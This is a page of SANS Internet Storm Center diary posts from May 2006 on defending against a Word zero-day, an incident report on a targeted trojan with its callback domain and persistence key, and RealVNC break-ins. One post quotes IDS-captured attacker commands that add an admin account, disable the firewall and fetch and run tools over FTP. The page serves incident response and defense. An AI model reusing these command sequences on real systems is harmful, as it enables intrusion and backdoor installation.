Threat Level: green Handler on Duty: Daniel Wesemann

SANS ISC InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Word 0-day, recommended defenses.

Published: 2006-05-19
Last Updated: 2006-05-22 22:47:03 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
The diary about the targeted attacks using a zero-day exploit against Word triggered a lot of questions about how to defend against such an attack. We understand that many organizations can not do without Word documents, so here a few ideas on how to defend against these attacks.

Note that this is not a temporary situation that will blow over soon. Microsoft will release a patch against this problem in June, but even after that there are likely to be other attacks using other exploits. So let's think a bit beyond the next couple of days on how to defend your network.

  • User education is of course key, but likely insufficient. Attacks like that will use very plausible messages. Create some examples to re-emphasize this fact. "What if you receive a message from a customer you know, referencing a project you are working on, that includes a Word document". Teach users to double check out of band. "Do not open the document before calling the customer".
  • Do not trust Antivirus alone. Defending against 0-day is all about defense in depth. Antivirus is likely going to fail you for an exploit like that. Consider a system that quarantines attachments for at least 6-12 hours to allow anti virus signatures to catch up. This may not be acceptable for a lot of organizations, but in particular right now, with a known exploit, it may be a reasonable step.
  • Limit users' privileges. The particular sample we received will not run as a non-administrator user. It will be MUCH easier to clean up after an exploit like that if the user had no administrator rights.
  • Monitor outbound traffic. Your IDS and your firewall are as valuable to protect your network from malicious traffic entering as they are in protecting you against your corporate secrets leaving your network. Consider deploying "honey tokens", files with interesting names that contain a particular signature your IDS will detect.
  • Block outbound traffic. Try to limit sites accessible to users and use techniques like proxy servers to isolate your clients further. Proxy filter logs will also work great as an IDS to detect suspect traffic.
  • Limit data on desktops. Try to teach users to limit data they store "in reach". This is a difficult balance. But a file on a remote system, which would require additional authentication, will likely not be accessible by a bot as in this case. Locally encrypted files will work too (as long as they stay encrypted until used). Encrypted file systems will not help as they will be accessible to the user opening the word document.
Again. None of these techniques are perfect. Each one can be circumvented. But the more layers you can wrap your users in the better. Think what will work well in your organization. Personal firewalls on desktop? Traffic control with flowtools or ntop? What are the tools you already have that can be used for this purpose.

There are also some rather more radical "solutions" possible if you absolutely need to be sure that you can continue working independently of this 0-day (and the inevitable variants to follow soon):
  • consider additional filtering, for example using software which converts Word DOC format to something which cannot carry the virus, e.g. RTF.  Consider using the free wvWare library. You will lose formatting but that might be an acceptable bargain for e-mail incoming from outside your organisation.
  • consider the possibility of disabling Word and replacing it with OpenOffice until Microsoft releases patches.
Contributors: Johannes, Marc, Arrigo.

Update:

Another option might be to use the Microsoft Office viewer applications instead as your default, such as Word Viewer.  You can get more information about and download the viewer programs from Microsoft. The Word Viewer application is not vulnerable to this specific exploit.
Keywords:
0 comment(s)

Targeted attack: Word exploit - Update

Published: 2006-05-20
Last Updated: 2006-05-22 13:18:53 UTC
by Chris Carboni (Version: 2)
0 comment(s)
In yesterday's diary, Swa reported on a targeted attack that appears to use a previously undiscovered Microsoft Word exploit.

What we know so far is that when the exploit is launched, early on in the process, it drops a bot, possibly Rbot or some variant.

Once the bot is in place, it begins an extensive recon of the system; installed patches, installed AV, contents of My Documents, startup file contents, IE config ..

Thanks again to Michael for reporting the incident to us and all the handlers who have helped in the ongoing analysis.

Vendor information:

McAfee

McAfee detects the Word document with the 4766 definition file as Exploit-OleData.gen and also associates Backdoor-CKB!cfaae1e6 with this exploit. (Thanks James!)
File size: 233472 bytes
MD5: c1bb026ec2b42adc17d0efb7bb31f4dc
SHA1: 02b9a9530e0f4edb3bc512707c16390ea5b394d1
Another payload is observed: BackDoor-CKB!6708ddaf

Symantec

Thanks to juha-matti for finding a few more references:

F-secure

This one from an anonymous reader

Microsoft

From the Microsoft Security Response Center we understood that they are developing a patch and expect it to be for inclusion in the next 2nd tuesday update. Their full recommendation:

Microsoft is investigating new public reports of a "zero-day" attack using a vulnerability in Microsoft Word XP and Microsoft Word 2003. In order for this attack to be carried out, a user most first open a malicious Word document attached to an e-mail or otherwise provided to them by an attacker.  Microsoft will continue to investigate the public reports to help provide additional guidance for customers as necessary.

As a best practice, users should always exercise extreme caution when opening unsolicited attachments from both known and unknown sources. Microsoft is adding detection to the Windows Live Safety Center today for up-to-date removal of malicious software that attempts to exploit this vulnerability.  The Windows Live Safety Center is located at the following website: http://safety.live.com [NOTE: link might not work for gecko based browsers such as FireFox]

Microsoft is completing development of a security update for Microsoft Word that addresses this vulnerability.  The security update is now being finalized through testing to ensure quality and application compatibility and is on schedule to be released as part of the June security updates on June 13, 2006, or sooner as warranted.

Customers who believe they are affected can contact Product Support Services.  Contact Product Support Services in North America for help with security update issues or viruses at no charge using the PC Safety line (1866-PCSAFETY) and international customers by using any method found at this location: http://www.microsoft.com/security.

As always, Microsoft encourages customers to follow its "Protect Your PC" guidance of enabling a firewall, applying all security updates and installing anti-virus software. Customers can learn more about these steps at http://www.microsoft.com/protect.

Trendmicro

Ivan from Trendmicro sent us where their updates can be found. Thanks Ivan!

Trojanized Word document files:

Dropped malcodes:

Kaspersky

Alexander sent us information about updates from Kaspersky.

Trojanized Word document file:
Dropped Malcodes:
Keywords:
0 comment(s)

Targeted attack: experience from the trenches

Published: 2006-05-21
Last Updated: 2006-05-21 18:32:42 UTC
by Swa Frantzen (Version: 3)
0 comment(s)

Learn

Learning lessons from incidents is a very important part of incident handling. Yet with targeted attacks it is very hard as you need to have a case before you can learn. So learning from others is even more important in this case.

Michael reported on an unnamed organization being hit by a limited, extremely targeted attack.

Detection is mostly the very hard part in these attacks. This case seems to have been detected by a very alert user detecting a domainname in an email that wasn't completely right.

That user detected an email coming in that originated from a domain that looked like their own, but wasn't their own (actually only had an MX record in it). The email was written to look like an internal email, including signature. It was addressed by name to the intended victim and not detected by the anti-virus software.

FUD ?

In reaction to this reporting we've seen people react to it like it were a widespread thing. We need to stress this is not the case. This kind of attack is new, and so must the response be.

The group originating these attacks does so in a very targeted fashion. The document is crafted to target a specific organization, containing specific elements that deal with just that one organization. If you don't work for them, you are very unlikely to ever see this. Proof of how rare it is, are the number of requests for samples we got from companies like anti-virus vendors.

Chances are really huge you're not targeted, at least not by this exploit. There is so far one group doing (at least) one very targeted attacks with this. Either they need to change their method of operation to do widespread attacks, or some other group would need to get a sample, reverse engineer it, find the core of the exploit, modify it to work in a wider fashion and launch a new attack.

So do you need to dig in now? Most likely not, we suggest you act as if it's any new vulnerability where the details are still very well hidden.

  • The one being targeted organization needs specific actions.
  • If you are on the potential target list, you need to learn to defend against the unknown, not against this threat.
  • If you're not on their target list, chances are you will not see an exploit till Microsoft releases a patch and the knowledge to exploit it can be derived by the hackers.

Panic and blindly taking actions is probably the worst course of action you can take.

Report

To say it in Michael's words:

"Emails were sent to specific individuals within the organization that contained a Microsoft Word attachment. This attachment, when opened, exploited a previously-unknown vulnerability in Microsoft Word (verified against a fully-patched system).  The exploit functioned as a dropper, extracting a trojan byte-for-byte from the host file when executed.  After extracting and launching the trojan, the exploit then overwrote the original Word document with a "clean" (not infected) copy from payload in the original infected document.  As a result of the exploit, Word crashes, informs the user of a problem, and offers to attempt to re-open the file.  If the user agrees, the new "clean" file is opened without incident." They are working with Microsoft on this.

"We are still analyzing the trojan dropped by the exploit.  What we do know is that it communicates back to localhosts[dot]3322[dot]org via HTTP.  It is proxy-aware, and "pings" this server using HTTP POSTs of 0 bytes (no data actually POSTed) with a periodicity of approximately one minute.  It has rootkit-like functionality, hiding binary files associated with the exploit (all files on the system named winguis.dll will not be shown in Explorer, etc.), and invokes itself automatically by including the trojan binary in "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows".  Note that, as of this morning, no anti-virus signatures detected this file as problematic according to virustotal.com.

We have traced nearly this attack to the far east; specifically, China and Taiwan.  IP's seen are registered there, domains seen are registered there, and the emails received originated from a server in that region.  The attackers appear to be aware that they have been "outed", and have been routinely changing the IP address associated with the URL above.

Due to the aggravating circumstances (0-day, no AV detection), we wanted to make sure the community is aware that this problem exists as soon as possible."

More information:

Many thanks to all handlers active on this: Johannes, Chris, William, Adrien.

--
Swa Frantzen - Section 66
Keywords:
0 comment(s)

RealVNC exploits in the wild

Published: 2006-05-19
Last Updated: 2006-05-19 10:35:46 UTC
by Swa Frantzen (Version: 3)
0 comment(s)
Active use of RealVNC to break into systems is being reported to us.

If you can share more details or just can report attempts, please let us know.

If you have any RealVNC exposed, check if you are hacked, and if not take measures immediately. If you want an inherently more secure solution check how to run vnc over ssh on your specific platform.

See more of the vulnerability in the May 15th diary by Kyle Haugsness.

[updates below]
List of exploits reported to us by our readers:
  • Austin from the UK reports that all shared printers in his office stated to print:
Dear Network Administrator. 

Please do not be alarmed.
My team is network security specialist.

You are using a vulnerable version of VNC.
Please upgrade your version soon.

We have not accessed your data but we could have.
Have a nice day

The intrusion reportedly happened on a workstation where a visitor left a VNC server running.

He notes that "RealVNC logs all connection IP addresses in the event manager which some people didn't know".
  • An Anonymous report about the installation of typical tools installed by the warez and hacker crowd such as Serv-U and pwdump.

  • Mike reported on a machine getting hacked and sent us what his IDS caught of it:
    net user [user] [pass] /ADD
    net localgroup Administrators [user] /ADD
    net stop sharedaccess
    sc delete sharedaccess
    echo open [IP] [port]  > ftptmp
    echo user [ftpuserinfo] >> ftptmp
    echo get usercontrol.exe  >> ftptmp
    echo get helpservice.svc  >> ftptmp
    echo get JAcheck.ini  >> ftptmp
    echo get JAcheck.dll  >> ftptmp
    echo bye  >> ftptmp
    ftp -n -s:ftptmp
    del ftptmp
    usercontrol /i
    net start "ms system service"
Analysis by fellow handler Scott indicated that it adds a user with admin rights, and installs what looks like Serv-U on the machine. Perhaps more happened earlier, happens later, or just was not caught.
  • An anonymous user reports: "We have been using RealVNC 4.1.1 and have been experiencing successful unauthorized connections to our machines. Also, we have seen increased traffic on our network which looks like scanning, some network printers have also been printing pages of gibberish." He concluded with "We are currently upgrading all VNC servers to 4.1.2."

  • Another anonymously reported attack that was done on port 5900 (also an IDS capture), so the RealVNC angle is only an assumption at this point:
    cd %WINDIR%\system32
    echo open [IP] [PORT] >>ms32
    echo [user] >>ms32
    echo [pass] >>ms32
    echo get pack.exe>>ms32
    echo get Iass.exe>>ms32
    echo get mssd.ini>>ms32
    echo get fport.exe>>ms32
    echo get op.exe>>ms32
    echo get pskill.exe>>ms32
    echo bye>>ms32
    ftp -v -s:ms32
    Iass.exe /I
    ipconfig
    net start dnsd
    pack.exe

It sure looks like these machines are slowly getting owned one by one ...

--
Swa Frantzen -- Section 66
Keywords:
0 comment(s)
Diary Archives